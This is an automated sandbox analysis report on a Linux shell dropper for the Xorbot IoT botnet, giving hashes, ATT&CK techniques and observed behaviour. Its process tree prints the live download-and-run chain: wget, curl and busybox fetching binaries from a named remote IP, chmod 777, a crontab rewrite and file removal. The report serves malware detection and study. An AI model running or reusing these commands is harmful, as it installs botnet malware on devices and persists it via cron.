xorbot | 0c1a0ababd6c481377018db4947b0ee4d22d820106e7e8932825ef3dc27d704d

Analysis

max time kernel
149s
max time network
148s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 06:22

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General

Target

bins.sh
Size

10KB
MD5

74e19a07a6f06527a755064e902a5b45
SHA1

fdbb2989f0ce113278b0df08ad6b9fdb2f9240b1
SHA256

0c1a0ababd6c481377018db4947b0ee4d22d820106e7e8932825ef3dc27d704d
SHA512

d25e290d64a454f44d950f75a931a00c482517dae81453675ce54d6ec589ccdaca831d2d459b9992859d94bdcbd95c9fe3d888c002311c17ca851ea2659877a3
SSDEEP

192:UttSrhgGIWhWFWYW/W3WBViarAMMICuxTzyhfH2R9Jb7Exdvb7ExdHtTz0fH2R9/:UttSrhgGIWhWFWYW/W3WB6ICukhfH2R9

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (818) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1524	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	1525	bins.sh

Renames itself 1 IoCs

pid	Process
1526	bins.sh

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.0a5FxA	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/13/cmdline	bins.sh
File opened for reading	/proc/25/cmdline	bins.sh
File opened for reading	/proc/80/cmdline	bins.sh
File opened for reading	/proc/169/cmdline	bins.sh
File opened for reading	/proc/1192/cmdline	bins.sh
File opened for reading	/proc/15/cmdline	bins.sh
File opened for reading	/proc/1554/cmdline	bins.sh
File opened for reading	/proc/1578/cmdline	bins.sh
File opened for reading	/proc/1619/cmdline	bins.sh
File opened for reading	/proc/279/cmdline	bins.sh
File opened for reading	/proc/1567/cmdline	bins.sh
File opened for reading	/proc/1581/cmdline	bins.sh
File opened for reading	/proc/1607/cmdline	bins.sh
File opened for reading	/proc/1623/cmdline	bins.sh
File opened for reading	/proc/18/cmdline	bins.sh
File opened for reading	/proc/446/cmdline	bins.sh
File opened for reading	/proc/516/cmdline	bins.sh
File opened for reading	/proc/559/cmdline	bins.sh
File opened for reading	/proc/31/cmdline	bins.sh
File opened for reading	/proc/1113/cmdline	bins.sh
File opened for reading	/proc/1531/cmdline	bins.sh
File opened for reading	/proc/1563/cmdline	bins.sh
File opened for reading	/proc/1615/cmdline	bins.sh
File opened for reading	/proc/177/cmdline	bins.sh
File opened for reading	/proc/532/cmdline	bins.sh
File opened for reading	/proc/1239/cmdline	bins.sh
File opened for reading	/proc/176/cmdline	bins.sh
File opened for reading	/proc/961/cmdline	bins.sh
File opened for reading	/proc/1153/cmdline	bins.sh
File opened for reading	/proc/1539/cmdline	bins.sh
File opened for reading	/proc/1565/cmdline	bins.sh
File opened for reading	/proc/1575/cmdline	bins.sh
File opened for reading	/proc/185/cmdline	bins.sh
File opened for reading	/proc/683/cmdline	bins.sh
File opened for reading	/proc/1542/cmdline	bins.sh
File opened for reading	/proc/1559/cmdline	bins.sh
File opened for reading	/proc/1090/cmdline	bins.sh
File opened for reading	/proc/1536/cmdline	bins.sh
File opened for reading	/proc/9/cmdline	bins.sh
File opened for reading	/proc/98/cmdline	bins.sh
File opened for reading	/proc/1548/cmdline	bins.sh
File opened for reading	/proc/1635/cmdline	bins.sh
File opened for reading	/proc/16/cmdline	bins.sh
File opened for reading	/proc/674/cmdline	bins.sh
File opened for reading	/proc/1203/cmdline	bins.sh
File opened for reading	/proc/1564/cmdline	bins.sh
File opened for reading	/proc/1600/cmdline	bins.sh
File opened for reading	/proc/1626/cmdline	bins.sh
File opened for reading	/proc/82/cmdline	bins.sh
File opened for reading	/proc/1080/cmdline	bins.sh
File opened for reading	/proc/1549/cmdline	bins.sh
File opened for reading	/proc/4/cmdline	bins.sh
File opened for reading	/proc/30/cmdline	bins.sh
File opened for reading	/proc/89/cmdline	bins.sh
File opened for reading	/proc/179/cmdline	bins.sh
File opened for reading	/proc/665/cmdline	bins.sh
File opened for reading	/proc/1173/cmdline	bins.sh
File opened for reading	/proc/32/cmdline	bins.sh
File opened for reading	/proc/1550/cmdline	bins.sh
File opened for reading	/proc/1582/cmdline	bins.sh
File opened for reading	/proc/1610/cmdline	bins.sh
File opened for reading	/proc/1620/cmdline	bins.sh
File opened for reading	/proc/1066/cmdline	bins.sh
File opened for reading	/proc/1566/cmdline	bins.sh

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	wget
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	curl
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1516
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod 777 rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1528
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1530
- /bin/rm
  rm rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  PID:1535

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.0a5FxA

Filesize
210B

MD5
319f67d1e9aedd05915dbb7428310c7a

SHA1
5955ba71ccb0ee4f7e957a029a088c4bb2ad4c7a

SHA256
88657960965de85c0ccb9fb7c5cff8bac05bb9667959f8ff12ef0429285f8d0c

SHA512
c469c53d6713d7c5ad9c7d05fdf3873473270fe115c7918f7acd37a9726eb8a1c83d572c0cd17139f3d09b205c956e95079cf5e0c570e70289db315900496e97

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads